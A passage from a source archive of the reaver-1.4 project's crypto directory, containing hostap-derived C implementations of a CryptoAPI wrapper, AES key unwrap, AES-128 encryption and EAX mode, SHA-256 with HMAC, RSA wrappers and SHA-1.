sizeof(key_blob), 0, 0, &ctx->key)) { cryptoapi_report_error("CryptImportKey"); goto fail2; } if (!CryptSetKeyParam(ctx->key, KP_MODE, (BYTE *) &mode, 0)) { cryptoapi_report_error("CryptSetKeyParam(KP_MODE)"); goto fail3; } if (iv && !CryptSetKeyParam(ctx->key, KP_IV, (BYTE *) iv, 0)) { cryptoapi_report_error("CryptSetKeyParam(KP_IV)"); goto fail3; } return ctx; fail3: CryptDestroyKey(ctx->key); fail2: CryptReleaseContext(ctx->prov, 0); fail1: os_free(ctx); return NULL; } int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, u8 *crypt, size_t len) { DWORD dlen; os_memcpy(crypt, plain, len); dlen = len; if (!CryptEncrypt(ctx->key, 0, FALSE, 0, crypt, &dlen, len)) { cryptoapi_report_error("CryptEncrypt"); os_memset(crypt, 0, len); return -1; } return 0; } int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, u8 *plain, size_t len) { DWORD dlen; os_memcpy(plain, crypt, len); dlen = len; if (!CryptDecrypt(ctx->key, 0, FALSE, 0, plain, &dlen)) { cryptoapi_report_error("CryptDecrypt"); return -1; } return 0; } void crypto_cipher_deinit(struct crypto_cipher *ctx) { CryptDestroyKey(ctx->key); CryptReleaseContext(ctx->prov, 0); os_free(ctx); } struct crypto_public_key { HCRYPTPROV prov; HCRYPTKEY rsa; }; struct crypto_private_key { HCRYPTPROV prov; HCRYPTKEY rsa; }; struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len) { /* Use crypto_public_key_from_cert() instead. */ return NULL; } struct crypto_private_key * crypto_private_key_import(const u8 *key, size_t len, const char *passwd) { /* TODO */ return NULL; } struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf, size_t len) { struct crypto_public_key *pk; PCCERT_CONTEXT cc; pk = os_zalloc(sizeof(*pk)); if (pk == NULL) return NULL; cc = CertCreateCertificateContext(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, buf, len); if (!cc) { cryptoapi_report_error("CryptCreateCertificateContext"); os_free(pk); return NULL; } if (!CryptAcquireContext(&pk->prov, NULL, MS_DEF_PROV, PROV_RSA_FULL, 0)) { cryptoapi_report_error("CryptAcquireContext"); os_free(pk); CertFreeCertificateContext(cc); return NULL; } if (!CryptImportPublicKeyInfo(pk->prov, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, &cc->pCertInfo->SubjectPublicKeyInfo, &pk->rsa)) { cryptoapi_report_error("CryptImportPublicKeyInfo"); CryptReleaseContext(pk->prov, 0); os_free(pk); CertFreeCertificateContext(cc); return NULL; } CertFreeCertificateContext(cc); return pk; } int crypto_public_key_encrypt_pkcs1_v15(struct crypto_public_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { DWORD clen; u8 *tmp; size_t i; if (*outlen < inlen) return -1; tmp = malloc(*outlen); if (tmp == NULL) return -1; os_memcpy(tmp, in, inlen); clen = inlen; if (!CryptEncrypt(key->rsa, 0, TRUE, 0, tmp, &clen, *outlen)) { wpa_printf(MSG_DEBUG, "CryptoAPI: Failed to encrypt using " "public key: %d", (int) GetLastError()); os_free(tmp); return -1; } *outlen = clen; /* Reverse the output */ for (i = 0; i < *outlen; i++) out[i] = tmp[*outlen - 1 - i]; os_free(tmp); return 0; } int crypto_private_key_sign_pkcs1(struct crypto_private_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { /* TODO */ return -1; } void crypto_public_key_free(struct crypto_public_key *key) { if (key) { CryptDestroyKey(key->rsa); CryptReleaseContext(key->prov, 0); os_free(key); } } void crypto_private_key_free(struct crypto_private_key *key) { if (key) { CryptDestroyKey(key->rsa); CryptReleaseContext(key->prov, 0); os_free(key); } } int crypto_global_init(void) { return mingw_load_crypto_func(); } void crypto_global_deinit(void) { } int crypto_mod_exp(const u8 *base, size_t base_len, const u8 *power, size_t power_len, const u8 *modulus, size_t modulus_len, u8 *result, size_t *result_len) { /* TODO */ return -1; } reaver-1.4/src/crypto/aes-unwrap.c0000755000175000017500000000355411705505260016544 0ustar reaverreaver/* * AES key unwrap (128-bit KEK, RFC3394) * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "aes.h" #include "aes_wrap.h" /** * aes_unwrap - Unwrap key with AES Key Wrap Algorithm (128-bit KEK) (RFC3394) * @kek: Key encryption key (KEK) * @n: Length of the plaintext key in 64-bit units; e.g., 2 = 128-bit = 16 * bytes * @cipher: Wrapped key to be unwrapped, (n + 1) * 64 bits * @plain: Plaintext key, n * 64 bits * Returns: 0 on success, -1 on failure (e.g., integrity verification failed) */ int aes_unwrap(const u8 *kek, int n, const u8 *cipher, u8 *plain) { u8 a[8], *r, b[16]; int i, j; void *ctx; /* 1) Initialize variables. */ os_memcpy(a, cipher, 8); r = plain; os_memcpy(r, cipher + 8, 8 * n); ctx = aes_decrypt_init(kek, 16); if (ctx == NULL) return -1; /* 2) Compute intermediate values. * For j = 5 to 0 * For i = n to 1 * B = AES-1(K, (A ^ t) | R[i]) where t = n*j+i * A = MSB(64, B) * R[i] = LSB(64, B) */ for (j = 5; j >= 0; j--) { r = plain + (n - 1) * 8; for (i = n; i >= 1; i--) { os_memcpy(b, a, 8); b[7] ^= n * j + i; os_memcpy(b + 8, r, 8); aes_decrypt(ctx, b, b); os_memcpy(a, b, 8); os_memcpy(r, b + 8, 8); r -= 8; } } aes_decrypt_deinit(ctx); /* 3) Output results. * * These are already in @plain due to the location of temporary * variables. Just verify that the IV matches with the expected value. */ for (i = 0; i < 8; i++) { if (a[i] != 0xa6) return -1; } return 0; } reaver-1.4/src/crypto/sha256.c0000755000175000017500000000777111705505260015477 0ustar reaverreaver/* * SHA-256 hash implementation and interface functions * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha256.h" #include "crypto.h" /** * hmac_sha256_vector - HMAC-SHA256 over data vector (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash (32 bytes) */ void hmac_sha256_vector(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { unsigned char k_pad[64]; /* padding - key XORd with ipad/opad */ unsigned char tk[32]; const u8 *_addr[6]; size_t _len[6], i; if (num_elem > 5) { /* * Fixed limit on the number of fragments to avoid having to * allocate memory (which could fail). */ return; } /* if key is longer than 64 bytes reset it to key = SHA256(key) */ if (key_len > 64) { sha256_vector(1, &key, &key_len, tk); key = tk; key_len = 32; } /* the HMAC_SHA256 transform looks like: * * SHA256(K XOR opad, SHA256(K XOR ipad, text)) * * where K is an n byte key * ipad is the byte 0x36 repeated 64 times * opad is the byte 0x5c repeated 64 times * and text is the data being protected */ /* start out by storing key in ipad */ os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with ipad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x36; /* perform inner SHA256 */ _addr[0] = k_pad; _len[0] = 64; for (i = 0; i < num_elem; i++) { _addr[i + 1] = addr[i]; _len[i + 1] = len[i]; } sha256_vector(1 + num_elem, _addr, _len, mac); os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with opad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x5c; /* perform outer SHA256 */ _addr[0] = k_pad; _len[0] = 64; _addr[1] = mac; _len[1] = SHA256_MAC_LEN; sha256_vector(2, _addr, _len, mac); } /** * hmac_sha256 - HMAC-SHA256 over data buffer (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @data: Pointers to the data area * @data_len: Length of the data area * @mac: Buffer for the hash (20 bytes) */ void hmac_sha256(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac) { hmac_sha256_vector(key, key_len, 1, &data, &data_len, mac); } /** * sha256_prf - SHA256-based Pseudo-Random Function (IEEE 802.11r, 8.5.1.5.2) * @key: Key for PRF * @key_len: Length of the key in bytes * @label: A unique label for each purpose of the PRF * @data: Extra data to bind into the key * @data_len: Length of the data * @buf: Buffer for the generated pseudo-random key * @buf_len: Number of bytes of key to generate * * This function is used to derive new, cryptographically separate keys from a * given key. */ void sha256_prf(const u8 *key, size_t key_len, const char *label, const u8 *data, size_t data_len, u8 *buf, size_t buf_len) { u16 counter = 1; size_t pos, plen; u8 hash[SHA256_MAC_LEN]; const u8 *addr[4]; size_t len[4]; u8 counter_le[2], length_le[2]; addr[0] = counter_le; len[0] = 2; addr[1] = (u8 *) label; len[1] = os_strlen(label); addr[2] = data; len[2] = data_len; addr[3] = length_le; len[3] = sizeof(length_le); WPA_PUT_LE16(length_le, buf_len * 8); pos = 0; while (pos < buf_len) { plen = buf_len - pos; WPA_PUT_LE16(counter_le, counter); if (plen >= SHA256_MAC_LEN) { hmac_sha256_vector(key, key_len, 4, addr, len, &buf[pos]); pos += SHA256_MAC_LEN; } else { hmac_sha256_vector(key, key_len, 4, addr, len, hash); os_memcpy(&buf[pos], hash, plen); break; } counter++; } } reaver-1.4/src/crypto/sha256.h0000755000175000017500000000155611705505260015477 0ustar reaverreaver/* * SHA256 hash implementation and interface functions * Copyright (c) 2003-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef SHA256_H #define SHA256_H #define SHA256_MAC_LEN 32 void hmac_sha256_vector(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); void hmac_sha256(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac); void sha256_prf(const u8 *key, size_t key_len, const char *label, const u8 *data, size_t data_len, u8 *buf, size_t buf_len); #endif /* SHA256_H */ reaver-1.4/src/crypto/crypto_internal-rsa.c0000755000175000017500000000552111705505260020455 0ustar reaverreaver/* * Crypto wrapper for internal crypto implementation - RSA parts * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "tls/rsa.h" #include "tls/bignum.h" #include "tls/pkcs1.h" #include "tls/pkcs8.h" /* Dummy structures; these are just typecast to struct crypto_rsa_key */ struct crypto_public_key; struct crypto_private_key; struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len) { return (struct crypto_public_key *) crypto_rsa_import_public_key(key, len); } struct crypto_private_key * crypto_private_key_import(const u8 *key, size_t len, const char *passwd) { struct crypto_private_key *res; /* First, check for possible PKCS #8 encoding */ res = pkcs8_key_import(key, len); if (res) return res; if (passwd) { /* Try to parse as encrypted PKCS #8 */ res = pkcs8_enc_key_import(key, len, passwd); if (res) return res; } /* Not PKCS#8, so try to import PKCS #1 encoded RSA private key */ wpa_printf(MSG_DEBUG, "Trying to parse PKCS #1 encoded RSA private " "key"); return (struct crypto_private_key *) crypto_rsa_import_private_key(key, len); } struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf, size_t len) { /* No X.509 support in crypto_internal.c */ return NULL; } int crypto_public_key_encrypt_pkcs1_v15(struct crypto_public_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { return pkcs1_encrypt(2, (struct crypto_rsa_key *) key, 0, in, inlen, out, outlen); } int crypto_private_key_decrypt_pkcs1_v15(struct crypto_private_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { return pkcs1_v15_private_key_decrypt((struct crypto_rsa_key *) key, in, inlen, out, outlen); } int crypto_private_key_sign_pkcs1(struct crypto_private_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { return pkcs1_encrypt(1, (struct crypto_rsa_key *) key, 1, in, inlen, out, outlen); } void crypto_public_key_free(struct crypto_public_key *key) { crypto_rsa_free((struct crypto_rsa_key *) key); } void crypto_private_key_free(struct crypto_private_key *key) { crypto_rsa_free((struct crypto_rsa_key *) key); } int crypto_public_key_decrypt_pkcs1(struct crypto_public_key *key, const u8 *crypt, size_t crypt_len, u8 *plain, size_t *plain_len) { return pkcs1_decrypt_public_key((struct crypto_rsa_key *) key, crypt, crypt_len, plain, plain_len); } reaver-1.4/src/crypto/aes-internal-enc.c0000755000175000017500000000523711705505260017607 0ustar reaverreaver/* * AES (Rijndael) cipher - encrypt * * Modifications to public domain implementation: * - support only 128-bit keys * - cleanup * - use C pre-processor to make it easier to change S table access * - added option (AES_SMALL_TABLES) for reducing code size by about 8 kB at * cost of reduced throughput (quite small difference on Pentium 4, * 10-25% when using -O1 or -O2 optimization) * * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "aes_i.h" void rijndaelEncrypt(const u32 rk[/*44*/], const u8 pt[16], u8 ct[16]) { u32 s0, s1, s2, s3, t0, t1, t2, t3; const int Nr = 10; #ifndef FULL_UNROLL int r; #endif /* ?FULL_UNROLL */ /* * map byte array block to cipher state * and add initial round key: */ s0 = GETU32(pt ) ^ rk[0]; s1 = GETU32(pt + 4) ^ rk[1]; s2 = GETU32(pt + 8) ^ rk[2]; s3 = GETU32(pt + 12) ^ rk[3]; #define ROUND(i,d,s) \ d##0 = TE0(s##0) ^ TE1(s##1) ^ TE2(s##2) ^ TE3(s##3) ^ rk[4 * i]; \ d##1 = TE0(s##1) ^ TE1(s##2) ^ TE2(s##3) ^ TE3(s##0) ^ rk[4 * i + 1]; \ d##2 = TE0(s##2) ^ TE1(s##3) ^ TE2(s##0) ^ TE3(s##1) ^ rk[4 * i + 2]; \ d##3 = TE0(s##3) ^ TE1(s##0) ^ TE2(s##1) ^ TE3(s##2) ^ rk[4 * i + 3] #ifdef FULL_UNROLL ROUND(1,t,s); ROUND(2,s,t); ROUND(3,t,s); ROUND(4,s,t); ROUND(5,t,s); ROUND(6,s,t); ROUND(7,t,s); ROUND(8,s,t); ROUND(9,t,s); rk += Nr << 2; #else /* !FULL_UNROLL */ /* Nr - 1 full rounds: */ r = Nr >> 1; for (;;) { ROUND(1,t,s); rk += 8; if (--r == 0) break; ROUND(0,s,t); } #endif /* ?FULL_UNROLL */ #undef ROUND /* * apply last round and * map cipher state to byte array block: */ s0 = TE41(t0) ^ TE42(t1) ^ TE43(t2) ^ TE44(t3) ^ rk[0]; PUTU32(ct , s0); s1 = TE41(t1) ^ TE42(t2) ^ TE43(t3) ^ TE44(t0) ^ rk[1]; PUTU32(ct + 4, s1); s2 = TE41(t2) ^ TE42(t3) ^ TE43(t0) ^ TE44(t1) ^ rk[2]; PUTU32(ct + 8, s2); s3 = TE41(t3) ^ TE42(t0) ^ TE43(t1) ^ TE44(t2) ^ rk[3]; PUTU32(ct + 12, s3); } void * aes_encrypt_init(const u8 *key, size_t len) { u32 *rk; if (len != 16) return NULL; rk = os_malloc(AES_PRIV_SIZE); if (rk == NULL) return NULL; rijndaelKeySetupEnc(rk, key); return rk; } void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) { rijndaelEncrypt(ctx, plain, crypt); } void aes_encrypt_deinit(void *ctx) { os_memset(ctx, 0, AES_PRIV_SIZE); os_free(ctx); } reaver-1.4/src/crypto/aes-eax.c0000755000175000017500000000670311705505260016004 0ustar reaverreaver/* * AES-128 EAX * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "aes.h" #include "aes_wrap.h" /** * aes_128_eax_encrypt - AES-128 EAX mode encryption * @key: Key for encryption (16 bytes) * @nonce: Nonce for counter mode * @nonce_len: Nonce length in bytes * @hdr: Header data to be authenticity protected * @hdr_len: Length of the header data bytes * @data: Data to encrypt in-place * @data_len: Length of data in bytes * @tag: 16-byte tag value * Returns: 0 on success, -1 on failure */ int aes_128_eax_encrypt(const u8 *key, const u8 *nonce, size_t nonce_len, const u8 *hdr, size_t hdr_len, u8 *data, size_t data_len, u8 *tag) { u8 *buf; size_t buf_len; u8 nonce_mac[AES_BLOCK_SIZE], hdr_mac[AES_BLOCK_SIZE], data_mac[AES_BLOCK_SIZE]; int i, ret = -1; if (nonce_len > data_len) buf_len = nonce_len; else buf_len = data_len; if (hdr_len > buf_len) buf_len = hdr_len; buf_len += 16; buf = os_malloc(buf_len); if (buf == NULL) return -1; os_memset(buf, 0, 15); buf[15] = 0; os_memcpy(buf + 16, nonce, nonce_len); if (omac1_aes_128(key, buf, 16 + nonce_len, nonce_mac)) goto fail; buf[15] = 1; os_memcpy(buf + 16, hdr, hdr_len); if (omac1_aes_128(key, buf, 16 + hdr_len, hdr_mac)) goto fail; if (aes_128_ctr_encrypt(key, nonce_mac, data, data_len)) goto fail; buf[15] = 2; os_memcpy(buf + 16, data, data_len); if (omac1_aes_128(key, buf, 16 + data_len, data_mac)) goto fail; for (i = 0; i < AES_BLOCK_SIZE; i++) tag[i] = nonce_mac[i] ^ data_mac[i] ^ hdr_mac[i]; ret = 0; fail: os_free(buf); return ret; } /** * aes_128_eax_decrypt - AES-128 EAX mode decryption * @key: Key for decryption (16 bytes) * @nonce: Nonce for counter mode * @nonce_len: Nonce length in bytes * @hdr: Header data to be authenticity protected * @hdr_len: Length of the header data bytes * @data: Data to encrypt in-place * @data_len: Length of data in bytes * @tag: 16-byte tag value * Returns: 0 on success, -1 on failure, -2 if tag does not match */ int aes_128_eax_decrypt(const u8 *key, const u8 *nonce, size_t nonce_len, const u8 *hdr, size_t hdr_len, u8 *data, size_t data_len, const u8 *tag) { u8 *buf; size_t buf_len; u8 nonce_mac[AES_BLOCK_SIZE], hdr_mac[AES_BLOCK_SIZE], data_mac[AES_BLOCK_SIZE]; int i; if (nonce_len > data_len) buf_len = nonce_len; else buf_len = data_len; if (hdr_len > buf_len) buf_len = hdr_len; buf_len += 16; buf = os_malloc(buf_len); if (buf == NULL) return -1; os_memset(buf, 0, 15); buf[15] = 0; os_memcpy(buf + 16, nonce, nonce_len); if (omac1_aes_128(key, buf, 16 + nonce_len, nonce_mac)) { os_free(buf); return -1; } buf[15] = 1; os_memcpy(buf + 16, hdr, hdr_len); if (omac1_aes_128(key, buf, 16 + hdr_len, hdr_mac)) { os_free(buf); return -1; } buf[15] = 2; os_memcpy(buf + 16, data, data_len); if (omac1_aes_128(key, buf, 16 + data_len, data_mac)) { os_free(buf); return -1; } os_free(buf); for (i = 0; i < AES_BLOCK_SIZE; i++) { if (tag[i] != (nonce_mac[i] ^ data_mac[i] ^ hdr_mac[i])) return -2; } return aes_128_ctr_encrypt(key, nonce_mac, data, data_len); } reaver-1.4/src/crypto/sha1_i.h0000755000175000017500000000145111705505260015625 0ustar reaverreaver/* * SHA1 internal definitions * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef SHA1_I_H #define SHA1_I_H struct SHA1Context { u32 state[5]; u32 count[2]; unsigned char buffer[64]; }; void SHA1Init(struct SHA1Context *context); void SHA1Update(struct SHA1Context *context, const void *data, u32 len); void SHA1Final(unsigned char digest[20], struct SHA1Context *context); void SHA1Transform(u32 state[5], const unsigned char buffer[64]); #endif /* SHA1_I_H */ reaver-1.4/src/crypto/sha1-internal.c0000755000175000017500000002205111705505260017121 0ustar reaverreaver/* * SHA1 hash implementation and interface functions * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha1.h" #include "sha1_i.h" #include "md5.h" #include "crypto.h" typedef struct SHA1Context SHA1_CTX; void SHA1Transform(u32 state[5], const unsigned char buffer[64]); /** * sha1_vector - SHA-1 hash for data vector * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 of failure */ int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { SHA1_CTX ctx; size_t i; SHA1Init(&ctx); for (i = 0; i < num_elem; i++) SHA1Update(&ctx, addr[i], len[i]); SHA1Final(mac, &ctx); return 0; } /* ===== start - public domain SHA1 implementation ===== */ /* SHA-1 in C By Steve Reid 100% Public Domain ----------------- Modified 7/98 By James H. Brown Still 100% Public Domain Corrected a problem which generated improper hash values on 16 bit machines Routine SHA1Update changed from void SHA1Update(SHA1_CTX* context, unsigned char* data, unsigned int len) to void SHA1Update(SHA1_CTX* context, unsigned char* data, unsigned long len) The 'len' parameter was declared an int which works fine on 32 bit machines. However, on 16 bit machines an int is too small for the shifts being done against it. This caused the hash function to generate incorrect values if len was greater than 8191 (8K - 1) due to the 'len << 3' on line 3 of SHA1Update(). Since the file IO in main() reads 16K at a time, any file 8K or larger would be guaranteed to generate the wrong hash (e.g. Test Vector #3, a million "a"s). I also changed the declaration of variables i & j in SHA1Update to unsigned long from unsigned int for the same reason. These changes should make no difference to any 32 bit implementations since an int and a long are the same size in those environments. -- I also corrected a few compiler warnings generated by Borland C. 1. Added #include for exit() prototype 2. Removed unused variable 'j' in SHA1Final 3. Changed exit(0) to return(0) at end of main. ALL changes I made can be located by searching for comments containing 'JHB' ----------------- Modified 8/98 By Steve Reid Still 100% public domain 1- Removed #include and used return() instead of exit() 2- Fixed overwriting of finalcount in SHA1Final() (discovered by Chris Hall) 3- Changed email address from steve@edmweb.com to sreid@sea-to-sky.net ----------------- Modified 4/01 By Saul Kravitz Still 100% PD Modified to run on Compaq Alpha hardware. ----------------- Modified 4/01 By Jouni Malinen Minor changes to match the coding style used in Dynamics. Modified September 24, 2004 By Jouni Malinen Fixed alignment issue in SHA1Transform when SHA1HANDSOFF is defined. */ /* Test Vectors (from FIPS PUB 180-1) "abc" A9993E36 4706816A BA3E2571 7850C26C 9CD0D89D "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq" 84983E44 1C3BD26E BAAE4AA1 F95129E5 E54670F1 A million repetitions of "a" 34AA973C D4C4DAA4 F61EEB2B DBAD2731 6534016F */ #define SHA1HANDSOFF #define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits)))) /* blk0() and blk() perform the initial expand. */ /* I got the idea of expanding during the round function from SSLeay */ #ifndef WORDS_BIGENDIAN #define blk0(i) (block->l[i] = (rol(block->l[i], 24) & 0xFF00FF00) | \ (rol(block->l[i], 8) & 0x00FF00FF)) #else #define blk0(i) block->l[i] #endif #define blk(i) (block->l[i & 15] = rol(block->l[(i + 13) & 15] ^ \ block->l[(i + 8) & 15] ^ block->l[(i + 2) & 15] ^ block->l[i & 15], 1)) /* (R0+R1), R2, R3, R4 are the different operations used in SHA1 */ #define R0(v,w,x,y,z,i) \ z += ((w & (x ^ y)) ^ y) + blk0(i) + 0x5A827999 + rol(v, 5); \ w = rol(w, 30); #define R1(v,w,x,y,z,i) \ z += ((w & (x ^ y)) ^ y) + blk(i) + 0x5A827999 + rol(v, 5); \ w = rol(w, 30); #define R2(v,w,x,y,z,i) \ z += (w ^ x ^ y) + blk(i) + 0x6ED9EBA1 + rol(v, 5); w = rol(w, 30); #define R3(v,w,x,y,z,i) \ z += (((w | x) & y) | (w & x)) + blk(i) + 0x8F1BBCDC + rol(v, 5); \ w = rol(w, 30); #define R4(v,w,x,y,z,i) \ z += (w ^ x ^ y) + blk(i) + 0xCA62C1D6 + rol(v, 5); \ w=rol(w, 30); #ifdef VERBOSE /* SAK */ void SHAPrintContext(SHA1_CTX *context, char *msg) { printf("%s (%d,%d) %x %x %x %x %x\n", msg, context->count[0], context->count[1], context->state[0], context->state[1], context->state[2], context->state[3], context->state[4]); } #endif /* Hash a single 512-bit block. This is the core of the algorithm. */ void SHA1Transform(u32 state[5], const unsigned char buffer[64]) { u32 a, b, c, d, e; typedef union { unsigned char c[64]; u32 l[16]; } CHAR64LONG16; CHAR64LONG16* block; #ifdef SHA1HANDSOFF CHAR64LONG16 workspace; block = &workspace; os_memcpy(block, buffer, 64); #else block = (CHAR64LONG16 *) buffer; #endif /* Copy context->state[] to working vars */ a = state[0]; b = state[1]; c = state[2]; d = state[3]; e = state[4]; /* 4 rounds of 20 operations each. Loop unrolled. */ R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3); R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7); R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11); R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15); R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19); R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23); R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27); R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31); R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35); R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39); R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43); R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47); R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51); R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55); R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59); R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63); R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67); R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71); R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75); R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79); /* Add the working vars back into context.state[] */ state[0] += a; state[1] += b; state[2] += c; state[3] += d; state[4] += e; /* Wipe variables */ a = b = c = d = e = 0; #ifdef SHA1HANDSOFF os_memset(block, 0, 64); #endif } /* SHA1Init - Initialize new context */ void SHA1Init(SHA1_CTX* context) { /* SHA1 initialization constants */ context->state[0] = 0x67452301; context->state[1] = 0xEFCDAB89; context->state[2] = 0x98BADCFE; context->state[3] = 0x10325476; context->state[4] = 0xC3D2E1F0; context->count[0] = context->count[1] = 0; } /* Run your data through this. */ void SHA1Update(SHA1_CTX* context, const void *_data, u32 len) { u32 i, j; const unsigned char *data = _data; #ifdef VERBOSE SHAPrintContext(context, "before"); #endif j = (context->count[0] >> 3) & 63; if ((context->count[0] += len << 3) < (len << 3)) context->count[1]++; context->count[1] += (len >> 29); if ((j + len) > 63) { os_memcpy(&context->buffer[j], data, (i = 64-j)); SHA1Transform(context->state, context->buffer); for ( ; i + 63 < len; i += 64) { SHA1Transform(context->state, &data[i]); } j = 0; } else i = 0; os_memcpy(&context->buffer[j], &data[i], len - i); #ifdef VERBOSE SHAPrintContext(context, "after "); #endif } /* Add padding and return the message digest. */ void SHA1Final(unsigned char digest[20], SHA1_CTX* context) { u32 i; unsigned char finalcount[8]; for (i = 0; i < 8; i++) { finalcount[i] = (unsigned char) ((context->count[(i >= 4 ? 0 : 1)] >> ((3-(i & 3)) * 8) ) & 255); /* Endian independent */ } SHA1Update(context, (unsigned char *) "\200", 1); while ((context->count[0] & 504) != 448) { SHA1Update(context, (unsigned char *) "\0", 1); } SHA1Update(context, finalcount, 8); /* Should cause a SHA1Transform() */ for (i = 0; i < 20; i++) { digest[i] = (unsigned char) ((context->state[i >> 2] >> ((3 - (i & 3)) * 8)) & 255); } /* Wipe variables */ i = 0; os_memset(context->buffer, 0, 64); os_memset(context->state, 0, 20); os_memset(context->count, 0, 8); os_memset(finalcount, 0, 8); } /* ===== end - public domain SHA1 implementation ===== */ reaver-1.4/src/crypto/aes-cbc.c0000755000175000017500000000411711705505260015753 0ustar reaverreaver/* * AES-128 CBC * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 